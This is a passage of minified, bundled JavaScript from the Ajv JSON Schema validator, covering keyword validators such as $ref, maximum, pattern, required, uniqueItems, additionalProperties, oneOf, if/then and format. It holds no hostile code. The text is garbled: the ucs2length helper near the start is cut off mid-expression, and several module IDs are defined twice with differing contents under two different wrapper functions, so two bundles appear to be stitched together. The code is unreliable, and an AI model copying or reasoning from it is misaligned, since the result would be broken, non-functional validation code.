u(l,d,f,m){let{gen:g,it:b}=l,{allErrors:p,schemaEnv:h,opts:y}=b,v=y.passContext?a.default.this:n.nil;m?_():S();function _(){if(!h.$async)throw new Error("async schema referenced by sync schema");let T=g.let("valid");g.try(()=>{g.code((0,n._)`await ${(0,r.callValidateCode)(l,d,v)}`),w(d),p||g.assign(T,!0)},R=>{g.if((0,n._)`!(${R} instanceof ${b.ValidationError})`,()=>g.throw(R)),x(R),p||g.assign(T,!1)}),l.ok(T)}function S(){l.result((0,r.callValidateCode)(l,d,v),()=>w(d),()=>x(d))}function x(T){let R=(0,n._)`${T}.errors`;g.assign(a.default.vErrors,(0,n._)`${a.default.vErrors} === null ? ${R} : ${a.default.vErrors}.concat(${R})`),g.assign(a.default.errors,(0,n._)`${a.default.vErrors}.length`)}function w(T){var R;if(!b.opts.unevaluated)return;let A=(R=f?.validate)===null||R===void 0?void 0:R.evaluated;if(b.props!==!0)if(A&&!A.dynamicProps)A.props!==void 0&&(b.props=i.mergeEvaluated.props(g,A.props,b.props));else{let j=g.var("props",(0,n._)`${T}.evaluated.props`);b.props=i.mergeEvaluated.props(g,j,b.props,n.Name)}if(b.items!==!0)if(A&&!A.dynamicItems)A.items!==void 0&&(b.items=i.mergeEvaluated.items(g,A.items,b.items));else{let j=g.var("items",(0,n._)`${T}.evaluated.items`);b.items=i.mergeEvaluated.items(g,j,b.items,n.Name)}}}t.callRef=u,t.default=o}),Yq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xq(),r=Jq(),n=["$schema","$id","$defs","$vocabulary",{keyword:"$comment"},"definitions",e.default,r.default];t.default=n}),Qq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=e.operators,n={maximum:{okStr:"<=",ok:r.LTE,fail:r.GT},minimum:{okStr:">=",ok:r.GTE,fail:r.LT},exclusiveMaximum:{okStr:"<",ok:r.LT,fail:r.GTE},exclusiveMinimum:{okStr:">",ok:r.GT,fail:r.LTE}},a={message:({keyword:i,schemaCode:o})=>(0,e.str)`must be ${n[i].okStr} ${o}`,params:({keyword:i,schemaCode:o})=>(0,e._)`{comparison: ${n[i].okStr}, limit: ${o}}`},s={keyword:Object.keys(n),type:"number",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u}=i;i.fail$data((0,e._)`${c} ${n[o].fail} ${u} || isNaN(${c})`)}};t.default=s}),eL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message:({schemaCode:a})=>(0,e.str)`must be multiple of ${a}`,params:({schemaCode:a})=>(0,e._)`{multipleOf: ${a}}`},n={keyword:"multipleOf",type:"number",schemaType:"number",$data:!0,error:r,code(a){let{gen:s,data:i,schemaCode:o,it:c}=a,u=c.opts.multipleOfPrecision,l=s.let("res"),d=u?(0,e._)`Math.abs(Math.round(${l}) - ${l}) > 1e-${u}`:(0,e._)`${l} !== parseInt(${l})`;a.fail$data((0,e._)`(${o} === 0 || (${l} = ${i}/${o}, ${d}))`)}};t.default=n}),tL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});function e(r){let n=r.length,a=0,s=0,i;for(;s=55296&&i<=56319&&s{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=tL(),a={message({keyword:i,schemaCode:o}){let c=i==="maxLength"?"more":"fewer";return(0,e.str)`must NOT have ${c} than ${o} characters`},params:({schemaCode:i})=>(0,e._)`{limit: ${i}}`},s={keyword:["maxLength","minLength"],type:"string",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u,it:l}=i,d=o==="maxLength"?e.operators.GT:e.operators.LT,f=l.opts.unicode===!1?(0,e._)`${c}.length`:(0,e._)`${(0,r.useFunc)(i.gen,n.default)}(${c})`;i.fail$data((0,e._)`${f} ${d} ${u}`)}};t.default=s}),aL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=qr(),r=Fe(),n={message:({schemaCode:s})=>(0,r.str)`must match pattern "${s}"`,params:({schemaCode:s})=>(0,r._)`{pattern: ${s}}`},a={keyword:"pattern",type:"string",schemaType:"string",$data:!0,error:n,code(s){let{data:i,$data:o,schema:c,schemaCode:u,it:l}=s,d=l.opts.unicodeRegExp?"u":"",f=o?(0,r._)`(new RegExp(${u}, ${d}))`:(0,e.usePattern)(s,c);s.fail$data((0,r._)`!${f}.test(${i})`)}};t.default=a}),nL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message({keyword:a,schemaCode:s}){let i=a==="maxProperties"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} properties`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxProperties","minProperties"],type:"object",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxProperties"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`Object.keys(${i}).length ${c} ${o}`)}};t.default=n}),sL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=qr(),r=Fe(),n=Je(),a={message:({params:{missingProperty:i}})=>(0,r.str)`must have required property '${i}'`,params:({params:{missingProperty:i}})=>(0,r._)`{missingProperty: ${i}}`},s={keyword:"required",type:"object",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,schema:c,schemaCode:u,data:l,$data:d,it:f}=i,{opts:m}=f;if(!d&&c.length===0)return;let g=c.length>=m.loopRequired;if(f.allErrors?b():p(),m.strictRequired){let v=i.parentSchema.properties,{definedProperties:_}=i.it;for(let S of c)if(v?.[S]===void 0&&!_.has(S)){let x=f.schemaEnv.baseId+f.errSchemaPath,w=`required property "${S}" is not defined at "${x}" (strictRequired)`;(0,n.checkStrictMode)(f,w,f.opts.strictRequired)}}function b(){if(g||d)i.block$data(r.nil,h);else for(let v of c)(0,e.checkReportMissingProp)(i,v)}function p(){let v=o.let("missing");if(g||d){let _=o.let("valid",!0);i.block$data(_,()=>y(v,_)),i.ok(_)}else o.if((0,e.checkMissingProp)(i,c,v)),(0,e.reportMissingProp)(i,v),o.else()}function h(){o.forOf("prop",u,v=>{i.setParams({missingProperty:v}),o.if((0,e.noPropertyInData)(o,l,v,m.ownProperties),()=>i.error())})}function y(v,_){i.setParams({missingProperty:v}),o.forOf(v,u,()=>{o.assign(_,(0,e.propertyInData)(o,l,v,m.ownProperties)),o.if((0,r.not)(_),()=>{i.error(),o.break()})},r.nil)}}};t.default=s}),iL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message({keyword:a,schemaCode:s}){let i=a==="maxItems"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} items`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxItems","minItems"],type:"array",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxItems"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`${i}.length ${c} ${o}`)}};t.default=n}),Em=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=tl();e.code='require("ajv/dist/runtime/equal").default',t.default=e}),oL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Zu(),r=Fe(),n=Je(),a=Em(),s={message:({params:{i:o,j:c}})=>(0,r.str)`must NOT have duplicate items (items ## ${c} and ${o} are identical)`,params:({params:{i:o,j:c}})=>(0,r._)`{i: ${o}, j: ${c}}`},i={keyword:"uniqueItems",type:"array",schemaType:"boolean",$data:!0,error:s,code(o){let{gen:c,data:u,$data:l,schema:d,parentSchema:f,schemaCode:m,it:g}=o;if(!l&&!d)return;let b=c.let("valid"),p=f.items?(0,e.getSchemaTypes)(f.items):[];o.block$data(b,h,(0,r._)`${m} === false`),o.ok(b);function h(){let S=c.let("i",(0,r._)`${u}.length`),x=c.let("j");o.setParams({i:S,j:x}),c.assign(b,!0),c.if((0,r._)`${S} > 1`,()=>(y()?v:_)(S,x))}function y(){return p.length>0&&!p.some(S=>S==="object"||S==="array")}function v(S,x){let w=c.name("item"),T=(0,e.checkDataTypes)(p,w,g.opts.strictNumbers,e.DataType.Wrong),R=c.const("indices",(0,r._)`{}`);c.for((0,r._)`;${S}--;`,()=>{c.let(w,(0,r._)`${u}[${S}]`),c.if(T,(0,r._)`continue`),p.length>1&&c.if((0,r._)`typeof ${w} == "string"`,(0,r._)`${w} += "_"`),c.if((0,r._)`typeof ${R}[${w}] == "number"`,()=>{c.assign(x,(0,r._)`${R}[${w}]`),o.error(),c.assign(b,!1).break()}).code((0,r._)`${R}[${w}] = ${S}`)})}function _(S,x){let w=(0,n.useFunc)(c,a.default),T=c.name("outer");c.label(T).for((0,r._)`;${S}--;`,()=>c.for((0,r._)`${x} = ${S}; ${x}--;`,()=>c.if((0,r._)`${w}(${u}[${S}], ${u}[${x}])`,()=>{o.error(),c.assign(b,!1).break(T)})))}}};t.default=i}),cL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=Em(),a={message:"must be equal to constant",params:({schemaCode:i})=>(0,e._)`{allowedValue: ${i}}`},s={keyword:"const",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schemaCode:l,schema:d}=i;u||d&&typeof d=="object"?i.fail$data((0,e._)`!${(0,r.useFunc)(o,n.default)}(${c}, ${l})`):i.fail((0,e._)`${d} !== ${c}`)}};t.default=s}),uL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=Em(),a={message:"must be equal to one of the allowed values",params:({schemaCode:i})=>(0,e._)`{allowedValues: ${i}}`},s={keyword:"enum",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schema:l,schemaCode:d,it:f}=i;if(!u&&l.length===0)throw new Error("enum must have non-empty array");let m=l.length>=f.opts.loopEnum,g,b=()=>g??(g=(0,r.useFunc)(o,n.default)),p;if(m||u)p=o.let("valid"),i.block$data(p,h);else{if(!Array.isArray(l))throw new Error("ajv implementation error");let v=o.const("vSchema",d);p=(0,e.or)(...l.map((_,S)=>y(v,S)))}i.pass(p);function h(){o.assign(p,!1),o.forOf("v",d,v=>o.if((0,e._)`${b()}(${c}, ${v})`,()=>o.assign(p,!0).break()))}function y(v,_){let S=l[_];return typeof S=="object"&&S!==null?(0,e._)`${b()}(${c}, ${v}[${_}])`:(0,e._)`${c} === ${S}`}}};t.default=s}),lL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Qq(),r=eL(),n=rL(),a=aL(),s=nL(),i=sL(),o=iL(),c=oL(),u=cL(),l=uL(),d=[e.default,r.default,n.default,a.default,s.default,i.default,o.default,c.default,{keyword:"type",schemaType:["string","array"]},{keyword:"nullable",schemaType:"boolean"},u.default,l.default];t.default=d}),B1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateAdditionalItems=void 0;var e=Fe(),r=Je(),n={message:({params:{len:i}})=>(0,e.str)`must NOT have more than ${i} items`,params:({params:{len:i}})=>(0,e._)`{limit: ${i}}`},a={keyword:"additionalItems",type:"array",schemaType:["boolean","object"],before:"uniqueItems",error:n,code(i){let{parentSchema:o,it:c}=i,{items:u}=o;if(!Array.isArray(u)){(0,r.checkStrictMode)(c,'"additionalItems" is ignored when "items" is not an array of schemas');return}s(i,u)}};function s(i,o){let{gen:c,schema:u,data:l,keyword:d,it:f}=i;f.items=!0;let m=c.const("len",(0,e._)`${l}.length`);if(u===!1)i.setParams({len:o.length}),i.pass((0,e._)`${m} <= ${o.length}`);else if(typeof u=="object"&&!(0,r.alwaysValidSchema)(f,u)){let b=c.var("valid",(0,e._)`${m} <= ${o.length}`);c.if((0,e.not)(b),()=>g(b)),i.ok(b)}function g(b){c.forRange("i",o.length,m,p=>{i.subschema({keyword:d,dataProp:p,dataPropType:r.Type.Num},b),f.allErrors||c.if((0,e.not)(b),()=>c.break())})}}t.validateAdditionalItems=s,t.default=a}),V1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateTuple=void 0;var e=Fe(),r=Je(),n=qr(),a={keyword:"items",type:"array",schemaType:["object","array","boolean"],before:"uniqueItems",code(i){let{schema:o,it:c}=i;if(Array.isArray(o))return s(i,"additionalItems",o);c.items=!0,!(0,r.alwaysValidSchema)(c,o)&&i.ok((0,n.validateArray)(i))}};function s(i,o,c=i.schema){let{gen:u,parentSchema:l,data:d,keyword:f,it:m}=i;p(l),m.opts.unevaluated&&c.length&&m.items!==!0&&(m.items=r.mergeEvaluated.items(u,c.length,m.items));let g=u.name("valid"),b=u.const("len",(0,e._)`${d}.length`);c.forEach((h,y)=>{(0,r.alwaysValidSchema)(m,h)||(u.if((0,e._)`${b} > ${y}`,()=>i.subschema({keyword:f,schemaProp:y,dataProp:y},g)),i.ok(g))});function p(h){let{opts:y,errSchemaPath:v}=m,_=c.length,S=_===h.minItems&&(_===h.maxItems||h[o]===!1);if(y.strictTuples&&!S){let x=`"${f}" is ${_}-tuple, but minItems or maxItems/${o} are not specified or different at path "${v}"`;(0,r.checkStrictMode)(m,x,y.strictTuples)}}}t.validateTuple=s,t.default=a}),dL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=V1(),r={keyword:"prefixItems",type:"array",schemaType:["array"],before:"uniqueItems",code:n=>(0,e.validateTuple)(n,"items")};t.default=r}),pL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n=qr(),a=B1(),s={message:({params:{len:o}})=>(0,e.str)`must NOT have more than ${o} items`,params:({params:{len:o}})=>(0,e._)`{limit: ${o}}`},i={keyword:"items",type:"array",schemaType:["object","boolean"],before:"uniqueItems",error:s,code(o){let{schema:c,parentSchema:u,it:l}=o,{prefixItems:d}=u;l.items=!0,!(0,r.alwaysValidSchema)(l,c)&&(d?(0,a.validateAdditionalItems)(o,d):o.ok((0,n.validateArray)(o)))}};t.default=i}),fL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:({params:{min:s,max:i}})=>i===void 0?(0,e.str)`must contain at least ${s} valid item(s)`:(0,e.str)`must contain at least ${s} and no more than ${i} valid item(s)`,params:({params:{min:s,max:i}})=>i===void 0?(0,e._)`{minContains: ${s}}`:(0,e._)`{minContains: ${s}, maxContains: ${i}}`},a={keyword:"contains",type:"array",schemaType:["object","boolean"],before:"uniqueItems",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,data:u,it:l}=s,d,f,{minContains:m,maxContains:g}=c;l.opts.next?(d=m===void 0?1:m,f=g):d=1;let b=i.const("len",(0,e._)`${u}.length`);if(s.setParams({min:d,max:f}),f===void 0&&d===0){(0,r.checkStrictMode)(l,'"minContains" == 0 without "maxContains": "contains" keyword ignored');return}if(f!==void 0&&d>f){(0,r.checkStrictMode)(l,'"minContains" > "maxContains" is always invalid'),s.fail();return}if((0,r.alwaysValidSchema)(l,o)){let _=(0,e._)`${b} >= ${d}`;f!==void 0&&(_=(0,e._)`${_} && ${b} <= ${f}`),s.pass(_);return}l.items=!0;let p=i.name("valid");f===void 0&&d===1?y(p,()=>i.if(p,()=>i.break())):d===0?(i.let(p,!0),f!==void 0&&i.if((0,e._)`${u}.length > 0`,h)):(i.let(p,!1),h()),s.result(p,()=>s.reset());function h(){let _=i.name("_valid"),S=i.let("count",0);y(_,()=>i.if(_,()=>v(S)))}function y(_,S){i.forRange("i",0,b,x=>{s.subschema({keyword:"contains",dataProp:x,dataPropType:r.Type.Num,compositeRule:!0},_),S()})}function v(_){i.code((0,e._)`${_}++`),f===void 0?i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0).break()):(i.if((0,e._)`${_} > ${f}`,()=>i.assign(p,!1).break()),d===1?i.assign(p,!0):i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0)))}}};t.default=a}),mL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateSchemaDeps=t.validatePropertyDeps=t.error=void 0;var e=Fe(),r=Je(),n=qr();t.error={message:({params:{property:c,depsCount:u,deps:l}})=>{let d=u===1?"property":"properties";return(0,e.str)`must have ${d} ${l} when property ${c} is present`},params:({params:{property:c,depsCount:u,deps:l,missingProperty:d}})=>(0,e._)`{property: ${c}, + deps: ${l}}`};var a={keyword:"dependencies",type:"object",schemaType:"object",error:t.error,code(c){let[u,l]=s(c);i(c,u),o(c,l)}};function s({schema:c}){let u={},l={};for(let d in c){if(d==="__proto__")continue;let f=Array.isArray(c[d])?u:l;f[d]=c[d]}return[u,l]}function i(c,u=c.schema){let{gen:l,data:d,it:f}=c;if(Object.keys(u).length===0)return;let m=l.let("missing");for(let g in u){let b=u[g];if(b.length===0)continue;let p=(0,n.propertyInData)(l,d,g,f.opts.ownProperties);c.setParams({property:g,depsCount:b.length,deps:b.join(", ")}),f.allErrors?l.if(p,()=>{for(let h of b)(0,n.checkReportMissingProp)(c,h)}):(l.if((0,e._)`${p} && (${(0,n.checkMissingProp)(c,b,m)})`),(0,n.reportMissingProp)(c,m),l.else())}}t.validatePropertyDeps=i;function o(c,u=c.schema){let{gen:l,data:d,keyword:f,it:m}=c,g=l.name("valid");for(let b in u)(0,r.alwaysValidSchema)(m,u[b])||(l.if((0,n.propertyInData)(l,d,b,m.opts.ownProperties),()=>{let p=c.subschema({keyword:f,schemaProp:b},g);c.mergeValidEvaluated(p,g)},()=>l.var(g,!0)),c.ok(g))}t.validateSchemaDeps=o,t.default=a}),Vq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:"property name must be valid",params:({params:s})=>(0,e._)`{propertyName: ${s.propertyName}}`},a={keyword:"propertyNames",type:"object",schemaType:["object","boolean"],error:n,code(s){let{gen:i,schema:o,data:c,it:u}=s;if((0,r.alwaysValidSchema)(u,o))return;let l=i.name("valid");i.forIn("key",c,d=>{s.setParams({propertyName:d}),s.subschema({keyword:"propertyNames",data:d,dataTypes:["string"],propertyName:d,compositeRule:!0},l),i.if((0,e.not)(l),()=>{s.error(!0),u.allErrors||i.break()})}),s.ok(l)}};t.default=a}),J1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=zr(),r=Be(),n=Va(),a=Xe(),s={message:"must NOT have additional properties",params:({params:o})=>(0,r._)`{additionalProperty: ${o.additionalProperty}}`},i={keyword:"additionalProperties",type:["object"],schemaType:["boolean","object"],allowUndefined:!0,trackErrors:!0,error:s,code(o){let{gen:c,schema:u,parentSchema:l,data:d,errsCount:f,it:m}=o;if(!f)throw new Error("ajv implementation error");let{allErrors:g,opts:b}=m;if(m.props=!0,b.removeAdditional!=="all"&&(0,a.alwaysValidSchema)(m,u))return;let p=(0,e.allSchemaProperties)(l.properties),h=(0,e.allSchemaProperties)(l.patternProperties);y(),o.ok((0,r._)`${f} === ${n.default.errors}`);function y(){c.forIn("key",d,E=>{!p.length&&!h.length?S(E):c.if(v(E),()=>S(E))})}function v(E){let T;if(p.length>8){let $=(0,a.schemaRefOrVal)(m,l.properties,"properties");T=(0,e.isOwnProperty)(c,$,E)}else p.length?T=(0,r.or)(...p.map($=>(0,r._)`${E} === ${$}`)):T=r.nil;return h.length&&(T=(0,r.or)(T,...h.map($=>(0,r._)`${(0,e.usePattern)(o,$)}.test(${E})`))),(0,r.not)(T)}function _(E){c.code((0,r._)`delete ${d}[${E}]`)}function S(E){if(b.removeAdditional==="all"||b.removeAdditional&&u===!1){_(E);return}if(u===!1){o.setParams({additionalProperty:E}),o.error(),g||c.break();return}if(typeof u=="object"&&!(0,a.alwaysValidSchema)(m,u)){let T=c.name("valid");b.removeAdditional==="failing"?(x(E,T,!1),c.if((0,r.not)(T),()=>{o.reset(),_(E)})):(x(E,T),g||c.if((0,r.not)(T),()=>c.break()))}}function x(E,T,$){let N={keyword:"additionalProperties",dataProp:E,dataPropType:a.Type.Str};$===!1&&Object.assign(N,{compositeRule:!0,createErrors:!1,allErrors:!1}),o.subschema(N,T)}}};t.default=i}),Zq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=sl(),r=zr(),n=Xe(),a=J1(),s={keyword:"properties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,parentSchema:u,data:l,it:d}=i;d.opts.removeAdditional==="all"&&u.additionalProperties===void 0&&a.default.code(new e.KeywordCxt(d,a.default,"additionalProperties"));let f=(0,r.allSchemaProperties)(c);for(let h of f)d.definedProperties.add(h);d.opts.unevaluated&&f.length&&d.props!==!0&&(d.props=n.mergeEvaluated.props(o,(0,n.toHash)(f),d.props));let m=f.filter(h=>!(0,n.alwaysValidSchema)(d,c[h]));if(m.length===0)return;let g=o.name("valid");for(let h of m)b(h)?p(h):(o.if((0,r.propertyInData)(o,l,h,d.opts.ownProperties)),p(h),d.allErrors||o.else().var(g,!0),o.endIf()),i.it.definedProperties.add(h),i.ok(g);function b(h){return d.opts.useDefaults&&!d.compositeRule&&c[h].default!==void 0}function p(h){i.subschema({keyword:"properties",schemaProp:h,dataProp:h},g)}}};t.default=s}),Gq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=zr(),r=Be(),n=Xe(),a=Xe(),s={keyword:"patternProperties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,data:u,parentSchema:l,it:d}=i,{opts:f}=d,m=(0,e.allSchemaProperties)(c),g=m.filter(S=>(0,n.alwaysValidSchema)(d,c[S]));if(m.length===0||g.length===m.length&&(!d.opts.unevaluated||d.props===!0))return;let b=f.strictSchema&&!f.allowMatchingProperties&&l.properties,p=o.name("valid");d.props!==!0&&!(d.props instanceof r.Name)&&(d.props=(0,a.evaluatedPropsToName)(o,d.props));let{props:h}=d;y();function y(){for(let S of m)b&&v(S),d.allErrors?_(S):(o.var(p,!0),_(S),o.if(p))}function v(S){for(let x in b)new RegExp(S).test(x)&&(0,n.checkStrictMode)(d,`property ${x} matches pattern ${S} (use allowMatchingProperties)`)}function _(S){o.forIn("key",u,x=>{o.if((0,r._)`${(0,e.usePattern)(i,S)}.test(${x})`,()=>{let E=g.includes(S);E||i.subschema({keyword:"patternProperties",schemaProp:S,dataProp:x,dataPropType:a.Type.Str},p),d.opts.unevaluated&&h!==!0?o.assign((0,r._)`${h}[${x}]`,!0):!E&&!d.allErrors&&o.if((0,r.not)(p),()=>o.break())})})}}};t.default=s}),Wq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:"not",schemaType:["object","boolean"],trackErrors:!0,code(n){let{gen:a,schema:s,it:i}=n;if((0,e.alwaysValidSchema)(i,s)){n.fail();return}let o=a.name("valid");n.subschema({keyword:"not",compositeRule:!0,createErrors:!1,allErrors:!1},o),n.failResult(o,()=>n.reset(),()=>n.error())},error:{message:"must NOT be valid"}};t.default=r}),Kq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=zr(),r={keyword:"anyOf",schemaType:"array",trackErrors:!0,code:e.validateUnion,error:{message:"must match a schema in anyOf"}};t.default=r}),Xq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:"must match exactly one schema in oneOf",params:({params:s})=>(0,e._)`{passingSchemas: ${s.passing}}`},a={keyword:"oneOf",schemaType:"array",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,it:u}=s;if(!Array.isArray(o))throw new Error("ajv implementation error");if(u.opts.discriminator&&c.discriminator)return;let l=o,d=i.let("valid",!1),f=i.let("passing",null),m=i.name("_valid");s.setParams({passing:f}),i.block(g),s.result(d,()=>s.reset(),()=>s.error(!0));function g(){l.forEach((b,p)=>{let h;(0,r.alwaysValidSchema)(u,b)?i.var(m,!0):h=s.subschema({keyword:"oneOf",schemaProp:p,compositeRule:!0},m),p>0&&i.if((0,e._)`${m} && ${d}`).assign(d,!1).assign(f,(0,e._)`[${f}, ${p}]`).else(),i.if(m,()=>{i.assign(d,!0),i.assign(f,p),h&&s.mergeEvaluated(h,e.Name)})})}}};t.default=a}),Jq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:"allOf",schemaType:"array",code(n){let{gen:a,schema:s,it:i}=n;if(!Array.isArray(s))throw new Error("ajv implementation error");let o=a.name("valid");s.forEach((c,u)=>{if((0,e.alwaysValidSchema)(i,c))return;let l=n.subschema({keyword:"allOf",schemaProp:u},o);n.ok(o),n.mergeEvaluated(l)})}};t.default=r}),Yq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:({params:i})=>(0,e.str)`must match "${i.ifClause}" schema`,params:({params:i})=>(0,e._)`{failingKeyword: ${i.ifClause}}`},a={keyword:"if",schemaType:["object","boolean"],trackErrors:!0,error:n,code(i){let{gen:o,parentSchema:c,it:u}=i;c.then===void 0&&c.else===void 0&&(0,r.checkStrictMode)(u,'"if" without "then" and "else" is ignored');let l=s(u,"then"),d=s(u,"else");if(!l&&!d)return;let f=o.let("valid",!0),m=o.name("_valid");if(g(),i.reset(),l&&d){let p=o.let("ifClause");i.setParams({ifClause:p}),o.if(m,b("then",p),b("else",p))}else l?o.if(m,b("then")):o.if((0,e.not)(m),b("else"));i.pass(f,()=>i.error(!0));function g(){let p=i.subschema({keyword:"if",compositeRule:!0,createErrors:!1,allErrors:!1},m);i.mergeEvaluated(p)}function b(p,h){return()=>{let y=i.subschema({keyword:p},m);o.assign(f,m),i.mergeValidEvaluated(y,f),h?o.assign(h,(0,e._)`${p}`):i.setParams({ifClause:p})}}}};function s(i,o){let c=i.schema[o];return c!==void 0&&!(0,r.alwaysValidSchema)(i,c)}t.default=a}),Qq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:["then","else"],schemaType:["object","boolean"],code({keyword:n,parentSchema:a,it:s}){a.if===void 0&&(0,e.checkStrictMode)(s,`"${n}" without "if" is ignored`)}};t.default=r}),eL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=K1(),r=zq(),n=X1(),a=Uq(),s=Hq(),i=Bq(),o=Vq(),c=J1(),u=Zq(),l=Gq(),d=Wq(),f=Kq(),m=Xq(),g=Jq(),b=Yq(),p=Qq();function h(y=!1){let v=[d.default,f.default,m.default,g.default,b.default,p.default,o.default,c.default,i.default,u.default,l.default];return y?v.push(r.default,a.default):v.push(e.default,n.default),v.push(s.default),v}t.default=h}),tL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message:({schemaCode:a})=>(0,e.str)`must match format "${a}"`,params:({schemaCode:a})=>(0,e._)`{format: ${a}}`},n={keyword:"format",type:["number","string"],schemaType:"string",$data:!0,error:r,code(a,s){let{gen:i,data:o,$data:c,schema:u,schemaCode:l,it:d}=a,{opts:f,errSchemaPath:m,schemaEnv:g,self:b}=d;if(!f.validateFormats)return;c?p():h();function p(){let y=i.scopeValue("formats",{ref:b.formats,code:f.code.formats}),v=i.const("fDef",(0,e._)`${y}[${l}]`),_=i.let("fType"),S=i.let("format");i.if((0,e._)`typeof ${v} == "object" && !(${v} instanceof RegExp)`,()=>i.assign(_,(0,e._)`${v}.type || "string"`).assign(S,(0,e._)`${v}.validate`),()=>i.assign(_,(0,e._)`"string"`).assign(S,v)),a.fail$data((0,e.or)(x(),E()));function x(){return f.strictSchema===!1?e.nil:(0,e._)`${l} && !${S}`}function E(){let T=g.$async?(0,e._)`(${v}.async ? await ${S}(${o}) : ${S}(${o}))`:(0,e._)`${S}(${o})`,$=(0,e._)`(typeof ${S} == "function" ? ${T} : ${S}.test(${o}))`;return(0,e._)`${S} && ${S} !== true && ${_} === ${s} && !${$}`}}function h(){let y=b.formats[u];if(!y){x();return}if(y===!0)return;let[v,_,S]=E(y);v===s&&a.pass(T());function x(){if(f.strictSchema===!1){b.logger.warn($());return}throw new Error($());function $(){return`unknown format "${u}" ignored in schema at path "${m}"`}}function E($){let N=$ instanceof RegExp?(0,e.regexpCode)($):f.code.formats?(0,e._)`${f.code.formats}${(0,e.getProperty)(u)}`:void 0,j=i.scopeValue("formats",{key:u,ref:$,code:N});return typeof $=="object"&&!($ instanceof RegExp)?[$.type||"string",$.validate,(0,e._)`${j}.validate`]:["string",$,j]}function T(){if(typeof y=="object"&&!(y instanceof RegExp)&&y.async){if(!g.$async)throw new Error("async format in sync schema");return(0,e._)`await ${S}(${o})`}return typeof _=="function"?(0,e._)`${S}(${o})`:(0,e._)`${S}.test(${o})`}}}};t.default=n}),rL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=tL(),r=[e.default];t.default=r}),aL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contentVocabulary=t.metadataVocabulary=void 0,t.metadataVocabulary=["title","description","default","deprecated","readOnly","writeOnly","examples"],t.contentVocabulary=["contentMediaType","contentEncoding","contentSchema"]}),nL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Rq(),r=Fq(),n=eL(),a=rL(),s=aL(),i=[e.default,r.default,(0,n.default)(),a.default,s.metadataVocabulary,s.contentVocabulary];t.default=i}),sL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DiscrError=void 0;var e;(function(r){r.Tag="tag",r.Mapping="mapping"})(e||(t.DiscrError=e={}))}),iL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=sL(),n=wm(),a=il(),s=Xe(),i={message:({params:{discrError:c,tagName:u}})=>c===r.DiscrError.Tag?`tag "${u}" must be string`:`value of tag "${u}" must be in oneOf`,params:({params:{discrError:c,tag:u,tagName:l}})=>(0,e._)`{error: ${c}, tag: ${l}, tagValue: ${u}}`},o={keyword:"discriminator",type:"object",schemaType:"object",error:i,code(c){let{gen:u,data:l,schema:d,parentSchema:f,it:m}=c,{oneOf:g}=f;if(!m.opts.discriminator)throw new Error("discriminator: 